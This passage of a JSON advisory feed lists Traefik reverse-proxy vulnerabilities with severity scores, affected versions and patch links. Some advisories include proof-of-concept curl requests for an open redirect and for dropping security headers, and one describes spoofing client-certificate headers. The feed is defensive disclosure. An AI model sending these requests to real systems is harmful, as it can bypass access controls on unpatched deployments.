frameworks (e.g. Django) handle X-Forwarded-Host and X_forwarded_host in the same way. As there is no X-Forwarded-Host header present in the request, the X_forwarded_host header will be used. \n\nIt should be noted that when X-Forwarded-Host is present and a X_forwarded_host header is sent, usually the first occurence of the header will be used, which is in this case X-Forwarded-Host.\n\nIt should be noted that the headers X-Forwarded-Tls-Client-Cert and X-Forwarded-Tls-Client-Cert-Info are also affected. Here, client certificate authentication would need to be enabled in the Traefik setup.\n\n### Impact\n\nAll applications that trust the custom headers set by Traefik are affected by this vulnerability. As an example, assume that a backend application trusts Traefik to validate client certificates and trusts therefore the values that are sent within the X-Forwarded-Tls-Client-Cert header, but does not validate the certificate anew.\n\nIf the header is removed via the vulnerability, and the application framework allows for alternative names (e.g. by transforming the headers to lower case, and \"-\" to \"_\"), an attacker can place his own X_Forwarded_TLS_Client_Cert header in the request. This could lead to privilege escalation, as the attacker may put an (invalid) certificate in this header that would just be accepted by the application, but may contain other data than the certificate that is presented to Traefik for Client Certificate Authentication.\n\nMoreover, if the backend application uses any of the other custom headers for security-sensitive operations, the removal or modification of these headers may also security implications (e.g. access control bypass).\n\nThe severity is the same as for [CVE-2022-31813](https://nvd.nist.gov/vuln/detail/CVE-2022-31813) for Apache HTTP Server, i.e. 9.8 Critical.\n\u003c/details\u003e","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2024-09-19T14:48:10.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/traefik/traefik/security/advisories/GHSA-62c8-mh53-4cqv","https://github.com/traefik/traefik/commit/584144100524277829f26219baaab29a53b8134f","https://github.com/traefik/traefik/releases/tag/v2.11.9","https://github.com/traefik/traefik/releases/tag/v3.1.3","https://nvd.nist.gov/vuln/detail/CVE-2024-45410","https://github.com/advisories/GHSA-62c8-mh53-4cqv"],"source_kind":"github","identifiers":["GHSA-62c8-mh53-4cqv","CVE-2024-45410"],"repository_url":"https://github.com/traefik/traefik","blast_radius":15.958831095803633,"created_at":"2024-09-19T15:06:13.748Z","updated_at":"2026-10-12T12:13:05.396Z","epss_percentage":0.01513,"epss_percentile":0.73516,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02MmM4LW1oNTMtNGNxds4AA_sN","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02MmM4LW1oNTMtNGNxds4AA_sN","packages":[{"ecosystem":"go","package_name":"github.com/traefik/traefik","versions":[{"first_patched_version":"2.11.9","vulnerable_version_range":"\u003c 2.11.9"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik"},{"ecosystem":"go","package_name":"github.com/traefik/traefik/v2","versions":[{"first_patched_version":"2.11.9","vulnerable_version_range":"\u003c 2.11.9"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv2"},{"ecosystem":"go","package_name":"github.com/traefik/traefik/v3","versions":[{"first_patched_version":"3.1.3","vulnerable_version_range":"\u003e= 3.0.0-beta3, \u003c 3.1.3"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02MmM4LW1oNTMtNGNxds4AA_sN/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03am13LTgyNTktcTlqeM4AA88x","url":"https://github.com/advisories/GHSA-7jmw-8259-q9jx","title":"Traefik has unexpected behavior with IPv4-mapped IPv6 addresses","description":"### Impact\n\nThere is a vulnerability in [Go managing various Is methods (IsPrivate, IsLoopback, etc) for IPv4-mapped IPv6 addresses](https://groups.google.com/g/golang-announce/c/XbxouI9gY7k/m/TuoGEhxIEwAJ).\n\nThey didn't work as expected returning false for addresses which would return true in their traditional IPv4 forms.\n\n### References\n\n- [CVE-2024-24790](https://www.cve.org/CVERecord?id=CVE-2024-24790)\n\n### Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.4\n- https://github.com/traefik/traefik/releases/tag/v3.0.2\n\n### Workarounds\n\nNo workaround.\n\n### For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-06-11T19:29:43.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/traefik/traefik/security/advisories/GHSA-7jmw-8259-q9jx","https://github.com/traefik/traefik/releases/tag/v2.11.4","https://github.com/traefik/traefik/releases/tag/v3.0.2","https://www.cve.org/CVERecord?id=CVE-2024-24790","https://pkg.go.dev/vuln/GO-2024-2917","https://github.com/advisories/GHSA-7jmw-8259-q9jx"],"source_kind":"github","identifiers":["GHSA-7jmw-8259-q9jx"],"repository_url":"https://github.com/traefik/traefik","blast_radius":0.0,"created_at":"2024-06-11T20:05:43.661Z","updated_at":"2026-10-12T12:13:53.413Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03am13LTgyNTktcTlqeM4AA88x","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03am13LTgyNTktcTlqeM4AA88x","packages":[{"ecosystem":"go","package_name":"github.com/traefik/traefik","versions":[{"first_patched_version":"2.11.4","vulnerable_version_range":"\u003c 2.11.4"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik"},{"ecosystem":"go","package_name":"github.com/traefik/traefik/v2","versions":[{"first_patched_version":"2.11.4","vulnerable_version_range":"\u003c 2.11.4"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv2"},{"ecosystem":"go","package_name":"github.com/traefik/traefik/v3","versions":[{"first_patched_version":"3.0.2","vulnerable_version_range":"\u003e= 3.0.0-beta3, \u003c 3.0.2"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03am13LTgyNTktcTlqeM4AA88x/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mN2NxLTV2NDMtOHB3cM4AA8hk","url":"https://github.com/advisories/GHSA-f7cq-5v43-8pwp","title":"Traefik vulnerable to GO issue allowing malformed DNS message to cause infinite loop","description":"### Impact\n\nThere is a vulnerability in [GO managing malformed DNS message](https://groups.google.com/g/golang-announce/c/wkkO4P9stm0), which impacts Traefik.\nThis vulnerability could be exploited to cause a denial of service.\n\n### References\n\n- [CVE-2024-24788](https://www.cve.org/CVERecord?id=CVE-2024-24788)\n\n### Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.3\n- https://github.com/traefik/traefik/releases/tag/v3.0.1\n\n### Workarounds\n\nNo workaround.\n\n### For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-05-23T15:19:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","references":["https://github.com/traefik/traefik/security/advisories/GHSA-f7cq-5v43-8pwp","https://github.com/advisories/GHSA-5fq7-4mxc-535h","https://github.com/traefik/traefik/releases/tag/v2.11.3","https://github.com/traefik/traefik/releases/tag/v3.0.1","https://www.cve.org/CVERecord?id=CVE-2024-24788","https://github.com/advisories/GHSA-f7cq-5v43-8pwp"],"source_kind":"github","identifiers":["GHSA-f7cq-5v43-8pwp"],"repository_url":"https://github.com/traefik/traefik","blast_radius":0.0,"created_at":"2024-05-23T16:05:42.112Z","updated_at":"2026-10-16T20:13:34.527Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mN2NxLTV2NDMtOHB3cM4AA8hk","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mN2NxLTV2NDMtOHB3cM4AA8hk","packages":[{"ecosystem":"go","package_name":"github.com/traefik/traefik","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.7.34"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik"},{"ecosystem":"go","package_name":"github.com/traefik/traefik/v3","versions":[{"first_patched_version":"3.0.1","vulnerable_version_range":"\u003c 3.0.1"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv3"},{"ecosystem":"go","package_name":"github.com/traefik/traefik/v2","versions":[{"first_patched_version":"2.11.3","vulnerable_version_range":"\u003c 2.11.3"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mN2NxLTV2NDMtOHB3cM4AA8hk/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00dnd4LTU0bXctdnFmd84AA69W","url":"https://github.com/advisories/GHSA-4vwx-54mw-vqfw","title":"Traefik vulnerable to denial of service with Content-length header","description":"There is a potential vulnerability in Traefik managing requests with `Content-length` and no `body` .\n\nSending a `GET` request to any Traefik endpoint with the `Content-length` request header results in an indefinite hang with the default configuration. This vulnerability can be exploited by attackers to induce a denial of service.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.2\n- https://github.com/traefik/traefik/releases/tag/v3.0.0-rc5\n\n## Workarounds\n\nFor affected versions, this vulnerability can be mitigated by configuring the [readTimeout](https://doc.traefik.io/traefik/routing/entrypoints/#respondingtimeouts) option.\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-04-12T17:05:13.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/traefik/traefik/security/advisories/GHSA-4vwx-54mw-vqfw","https://github.com/traefik/traefik/releases/tag/v2.11.2","https://github.com/traefik/traefik/releases/tag/v3.0.0-rc5","https://nvd.nist.gov/vuln/detail/CVE-2024-28869","https://github.com/traefik/traefik/commit/240b83b77351dfd8cadb91c305b84e9d22e0f9c6","https://doc.traefik.io/traefik/routing/entrypoints/#respondingtimeouts","https://github.com/advisories/GHSA-4vwx-54mw-vqfw"],"source_kind":"github","identifiers":["GHSA-4vwx-54mw-vqfw","CVE-2024-28869"],"repository_url":"https://github.com/traefik/traefik","blast_radius":0.0,"created_at":"2024-04-12T18:04:54.277Z","updated_at":"2026-10-16T06:10:15.685Z","epss_percentage":0.01046,"epss_percentile":0.63515,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00dnd4LTU0bXctdnFmd84AA69W","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00dnd4LTU0bXctdnFmd84AA69W","packages":[{"ecosystem":"go","package_name":"github.com/traefik/traefik","versions":[{"first_patched_version":"2.11.2","vulnerable_version_range":"\u003c= 2.11.1"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik"},{"ecosystem":"go","package_name":"github.com/traefik/traefik/v2","versions":[{"first_patched_version":"2.11.2","vulnerable_version_range":"\u003c= 2.11.1"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv2"},{"ecosystem":"go","package_name":"github.com/traefik/traefik/v3","versions":[{"first_patched_version":"3.0.0-rc5","vulnerable_version_range":"\u003e= 3.0.0-beta3, \u003c= 3.0.0-rc4"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00dnd4LTU0bXctdnFmd84AA69W/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03djRwLTMyOHYtOHY1Z84AA2fi","url":"https://github.com/advisories/GHSA-7v4p-328v-8v5g","title":"Traefik vulnerable to HTTP/2 request causing denial of service ","description":"### Impact\n\nA vulnerability CVE-2023-39325 exists in [Go managing HTTP/2 requests](https://groups.google.com/g/golang-announce/c/iNNxDTCjZvo/m/UDd7VKQuAAAJ?pli=1), which impacts Traefik. This vulnerability could be exploited to cause a denial of service.\n\n### References\n\n- [CVE-2023-44487](https://www.cve.org/CVERecord?id=CVE-2023-44487)\n- [CVE-2023-39325](https://www.cve.org/CVERecord?id=CVE-2023-39325)\n\n### Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.10.5\n- https://github.com/traefik/traefik/releases/tag/v3.0.0-beta4","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-10-17T02:37:42.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/traefik/traefik/security/advisories/GHSA-7v4p-328v-8v5g","https://groups.google.com/g/golang-announce/c/iNNxDTCjZvo/m/UDd7VKQuAAAJ?pli=1","https://nvd.nist.gov/vuln/detail/CVE-2023-54365","https://access.redhat.com/security/cve/CVE-2023-54365","https://bugzilla.redhat.com/show_bug.cgi?id=2491710","https://security.access.redhat.com/data/csaf/v2/vex/2023/cve-2023-54365.json","https://www.vulncheck.com/advisories/traefik-denial-of-service-via-http-2-request-handling","https://github.com/advisories/GHSA-7v4p-328v-8v5g"],"source_kind":"github","identifiers":["GHSA-7v4p-328v-8v5g","CVE-2023-54365"],"repository_url":"https://github.com/traefik/traefik","blast_radius":0.0,"created_at":"2023-10-17T03:05:47.917Z","updated_at":"2026-10-16T06:12:27.191Z","epss_percentage":0.00774,"epss_percentile":0.54501,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03djRwLTMyOHYtOHY1Z84AA2fi","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03djRwLTMyOHYtOHY1Z84AA2fi","packages":[{"ecosystem":"go","package_name":"github.com/traefik/traefik","versions":[{"first_patched_version":"3.0.0-beta4","vulnerable_version_range":"\u003e= 3.0.0-beta1, \u003c 3.0.0-beta4"},{"first_patched_version":"2.10.5","vulnerable_version_range":"\u003c 2.10.5"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03djRwLTMyOHYtOHY1Z84AA2fi/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yM2ZxLWNtbXctY3Btbc4AAg2e","url":"https://github.com/advisories/GHSA-r3fq-cmmw-cpmm","title":"Containous Traefik Exposes Password Hashes","description":"types/types.go in Containous Traefik 1.7.x through 1.7.11, when the `--api` flag is used and the API is publicly reachable and exposed without sufficient access control (which is contrary to the API documentation), allows remote authenticated users to discover password hashes by reading the Basic HTTP Authentication or Digest HTTP Authentication section, or discover a key by reading the ClientTLS section. These can be found in the JSON response to a `/api` request.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-05-24T16:46:50.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2019-12452","https://github.com/containous/traefik/issues/4917","https://github.com/containous/traefik/pull/4918","https://github.com/traefik/traefik/commit/a169fec2e08e391d24b509c00fcf011656c1395c","https://github.com/advisories/GHSA-r3fq-cmmw-cpmm"],"source_kind":"github","identifiers":["GHSA-r3fq-cmmw-cpmm","CVE-2019-12452"],"repository_url":"https://github.com/containous/traefik","blast_radius":0.0,"created_at":"2023-07-14T20:04:07.000Z","updated_at":"2026-10-08T07:59:50.726Z","epss_percentage":0.02543,"epss_percentile":0.84508,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yM2ZxLWNtbXctY3Btbc4AAg2e","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yM2ZxLWNtbXctY3Btbc4AAg2e","packages":[{"ecosystem":"go","package_name":"github.com/traefik/traefik","versions":[{"first_patched_version":"1.7.12","vulnerable_version_range":"\u003e= 1.7.0, \u003c= 1.7.11"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yM2ZxLWNtbXctY3Btbc4AAg2e/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yY2pjLXJnbXAteDY0Oc3uew","url":"https://github.com/advisories/GHSA-2cjc-rgmp-x649","title":"Traefik Missing Authentication","description":"Containous Traefik 1.6.x before 1.6.6, when `--api` is used, exposes the configuration and secret if authentication is missing and the API's port is publicly reachable.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-05-13T01:07:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2018-15598","https://github.com/containous/traefik/pull/3790","https://github.com/containous/traefik/releases/tag/v1.6.6","https://github.com/containous/traefik/commit/113250ce5735d554c502ca16fb03bb9119ca79f1","https://github.com/containous/traefik/commit/368bd170913078732bde58160f92f202f370278b","https://github.com/advisories/GHSA-2cjc-rgmp-x649"],"source_kind":"github","identifiers":["GHSA-2cjc-rgmp-x649","CVE-2018-15598"],"repository_url":"https://github.com/containous/traefik","blast_radius":0.0,"created_at":"2023-07-20T00:04:49.466Z","updated_at":"2026-10-16T06:12:31.822Z","epss_percentage":0.02868,"epss_percentile":0.86525,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yY2pjLXJnbXAteDY0Oc3uew","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yY2pjLXJnbXAteDY0Oc3uew","packages":[{"ecosystem":"go","package_name":"github.com/traefik/traefik","versions":[{"first_patched_version":"1.6.6","vulnerable_version_range":"\u003e= 1.6.0, \u003c 1.6.6"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yY2pjLXJnbXAteDY0Oc3uew/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTZxcTgtNXdxMy04NnJw","url":"https://github.com/advisories/GHSA-6qq8-5wq3-86rp","title":"Traefik vulnerable to Open Redirect via handling of X-Forwarded-Prefix header","description":"## Summary\n\nThere exists a potential open redirect vulnerability in Traefik's handling of the `X-Forwarded-Prefix` header. Active Exploitation of this issue is unlikely as it would require active header injection, however the Traefik team addressed this issue nonetheless to prevent abuse in e.g. cache poisoning scenarios.\n\n## Details\n\nThe Traefik API dashboard component doesn't validate that the value of the header `X-Forwarded-Prefix` is a site relative path and will redirect to any header provided URI.\n\ne.g.\n\n```\n$ curl --header 'Host:traefik.localhost' --header 'X-Forwarded-Prefix:https://example.org' 'http://localhost:8081'\n\u003ca href=\"https://example.org/dashboard/\"\u003eFound\u003c/a\u003e.`\n```\n\n### Impact\nA successful exploitation of an open redirect can be used to entice victims to disclose sensitive information.\n\n### Workarounds\n\nBy using the `headers` middleware, the request header `X-Forwarded-Prefix` value can be overridden by the value `.` (dot)\n\n- https://docs.traefik.io/v2.2/middlewares/headers/#customrequestheaders\n- https://docs.traefik.io/v1.7/basics/#custom-headers\n\n### For more information\n\nIf you have any questions or comments about this advisory, open an issue in [Traefik](https://github.com/containous/traefik/issues).\n\n## Credit\n\nThis issue was found by the GitHub Application Security Team and reported on behalf of the GHAS by the GitHub Security Lab Team.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-02-11T23:19:21.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:N/I:H/A:N","references":["https://github.com/containous/traefik/security/advisories/GHSA-6qq8-5wq3-86rp","https://nvd.nist.gov/vuln/detail/CVE-2020-15129","https://github.com/containous/traefik/pull/7109","https://github.com/containous/traefik/commit/cfa04c300c5db95ae8a52c31a9d973b6dd9c2254","https://github.com/containous/traefik/commit/e63db782c11c7b8bfce30be4c902e7ef8f9f33d2","https://github.com/containous/traefik/releases/tag/v1.7.26","https://github.com/containous/traefik/releases/tag/v2.2.8","https://github.com/containous/traefik/releases/tag/v2.3.0-rc3","https://github.com/traefik/traefik/commit/e2c5f3712f68993de8ed3cb30da9ec0aa11acb09","https://github.com/advisories/GHSA-6qq8-5wq3-86rp"],"source_kind":"github","identifiers":["GHSA-6qq8-5wq3-86rp","CVE-2020-15129"],"repository_url":"https://github.com/containous/traefik","blast_radius":0.0,"created_at":"2022-12-21T16:12:09.169Z","updated_at":"2026-10-17T07:31:49.835Z","epss_percentage":0.08011,"epss_percentile":0.94502,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTZxcTgtNXdxMy04NnJw","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTZxcTgtNXdxMy04NnJw","packages":[{"ecosystem":"go","package_name":"github.com/containous/traefik/v2/pkg/api","versions":[{"first_patched_version":"2.3.0-rc3","vulnerable_version_range":"\u003e= 2.3.0-rc1, \u003c 2.3.0-rc3"},{"first_patched_version":"2.2.8","vulnerable_version_range":"\u003c 2.2.8"}],"purl":"pkg:go/github.com%2Fcontainous%2Ftraefik%2Fv2%2Fpkg%2Fapi"},{"ecosystem":"go","package_name":"github.com/containous/traefik/api","versions":[{"first_patched_version":"1.7.26","vulnerable_version_range":"\u003e= 1.5.0-rc5, \u003c 1.7.26"}],"purl":"pkg:go/github.com%2Fcontainous%2Ftraefik%2Fapi"},{"ecosystem":"go","package_name":"github.com/traefik/traefik/v2/pkg/api","versions":[{"first_patched_version":"2.3.0-rc6","vulnerable_version_range":"\u003e= 2.3.0-rc1, \u003c 2.3.0-rc3"},{"first_patched_version":"2.3.0-rc6","vulnerable_version_range":"\u003c 2.2.8"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv2%2Fpkg%2Fapi"},{"ecosystem":"go","package_name":"github.com/traefik/traefik/api","versions":[{"first_patched_version":"1.7.26","vulnerable_version_range":"\u003e= 1.5.0-rc5, \u003c 1.7.26"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fapi"},{"ecosystem":"go","package_name":"github.com/containous/traefik/v2","versions":[{"first_patched_version":"2.3.0-rc3","vulnerable_version_range":"\u003e= 2.3.0-rc1, \u003c 2.3.0-rc3"},{"first_patched_version":"2.2.8","vulnerable_version_range":"\u003c 2.2.8"}],"purl":"pkg:go/github.com%2Fcontainous%2Ftraefik%2Fv2"},{"ecosystem":"go","package_name":"github.com/traefik/traefik/v2","versions":[{"first_patched_version":"2.3.0-rc6","vulnerable_version_range":"\u003e= 2.3.0-rc1, \u003c 2.3.0-rc3"},{"first_patched_version":"2.3.0-rc6","vulnerable_version_range":"\u003c 2.2.8"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv2"},{"ecosystem":"go","package_name":"github.com/containous/traefik","versions":[{"first_patched_version":"1.7.26","vulnerable_version_range":"\u003e= 1.5.0-rc5, \u003c 1.7.26"}],"purl":"pkg:go/github.com%2Fcontainous%2Ftraefik"},{"ecosystem":"go","package_name":"github.com/traefik/traefik","versions":[{"first_patched_version":"1.7.26","vulnerable_version_range":"\u003e= 1.5.0-rc5, \u003c 1.7.26"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTZxcTgtNXdxMy04NnJw/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTdoNmotMjI2OC1maGNt","url":"https://github.com/advisories/GHSA-7h6j-2268-fhcm","title":"Traefik has an Improper Certificate Handling issue","description":"configurationwatcher.go in Traefik 2.x before 2.1.4 and TraefikEE 2.0.0 mishandles the purging of certificate contents from providers before logging.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-09-02T22:00:01.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.6,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N/E:U/RL:O/RC:C","references":["https://nvd.nist.gov/vuln/detail/CVE-2020-9321","https://github.com/traefik/traefik/pull/6281","https://github.com/traefik/traefik/releases/tag/v2.1.4","https://github.com/containous/traefik/pull/6281","https://github.com/containous/traefik/releases/tag/v2.1.4","https://github.com/advisories/GHSA-7h6j-2268-fhcm"],"source_kind":"github","identifiers":["GHSA-7h6j-2268-fhcm","CVE-2020-9321"],"repository_url":"https://github.com/traefik/traefik","blast_radius":0.0,"created_at":"2022-12-21T16:12:10.405Z","updated_at":"2026-10-17T07:31:51.299Z","epss_percentage":0.00739,"epss_percentile":0.53547,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTdoNmotMjI2OC1maGNt","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTdoNmotMjI2OC1maGNt","packages":[{"ecosystem":"go","package_name":"github.com/traefik/traefik","versions":[{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTdoNmotMjI2OC1maGNt/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW02OTctNHY4Zi01NXFn","url":"https://github.com/advisories/GHSA-m697-4v8f-55qg","title":"Header dropping in traefik","description":"# Impact\n\nThere exists a potential header vulnerability in Traefik's handling of the Connection header. Active exploitation of this issue is unlikely, as it requires that a removed header would lead to a privilege escalation, however, the Traefik team has addressed this issue to prevent any potential abuse.\n\n# Details\n\nIf you have a chain of Traefik middlewares, and one of them sets a request header `Important-Security-Header`, then sending a request with the following Connection header will cause it to be removed before the request was sent:\n\n```\ncurl 'https://example.com' -H \"Connection: Important-Security-Header\" -0\n```\n\nIn this case, the backend does not see the request header `Important-Security-Header`.\n\n# Patches\n\nTraefik v2.4.x: https://github.com/traefik/traefik/releases/tag/v2.4.13\n\n# Workarounds\n\nNo.\n\n# For more information\n\nIf you have any questions or comments about this advisory, [open an issue](https://github.com/traefik/traefik/issues).\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-08-05T17:04:21.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.8,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N","references":["https://github.com/traefik/traefik/security/advisories/GHSA-m697-4v8f-55qg","https://nvd.nist.gov/vuln/detail/CVE-2021-32813","https://github.com/traefik/traefik/pull/8319/commits/cbaf86a93014a969b8accf39301932c17d0d73f9","https://github.com/traefik/traefik/releases/tag/v2.4.13","https://github.com/advisories/GHSA-m697-4v8f-55qg"],"source_kind":"github","identifiers":["GHSA-m697-4v8f-55qg","CVE-2021-32813"],"repository_url":"https://github.com/traefik/traefik","blast_radius":0.0,"created_at":"2022-12-21T16:12:56.809Z","updated_at":"2026-10-12T14:16:46.302Z","epss_percentage":0.011,"epss_percentile":0.64504,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW02OTctNHY4Zi01NXFn","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW02OTctNHY4Zi01NXFn","packages":[{"ecosystem":"go","package_name":"github.com/traefik/traefik","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.7.30"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik"},{"ecosystem":"go","package_name":"github.com/traefik/traefik/v2","versions":[{"first_patched_version":"2.4.13","vulnerable_version_range":"\u003c 2.4.13"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW02OTctNHY4Zi01NXFn/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/go/github.com/traefik/traefik","docker_dependents_count":6,"docker_downloads_count":133910,"usage_url":"https://repos.ecosyste.ms/usage/go/github.com/traefik/traefik","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/go/github.com/traefik/traefik/dependencies","status":null,"funding_links":["https://github.com/sponsors/traefik"],"critical":null,"issue_metadata":{"last_synced_at":"2026-10-15T18:00:41.972Z","issues_count":1243,"pull_requests_count":1615,"avg_time_to_close_issue":33245171.496183205,"avg_time_to_close_pull_request":2231097.4490934447,"issues_closed_count":655,"pull_requests_closed_count":717,"pull_request_authors_count":407,"issue_authors_count":1064,"avg_comments_per_issue":3.687047465808528,"avg_comments_per_pull_request":1.0247678018575852,"merged_pull_requests_count":524,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":120,"past_year_pull_requests_count":272,"p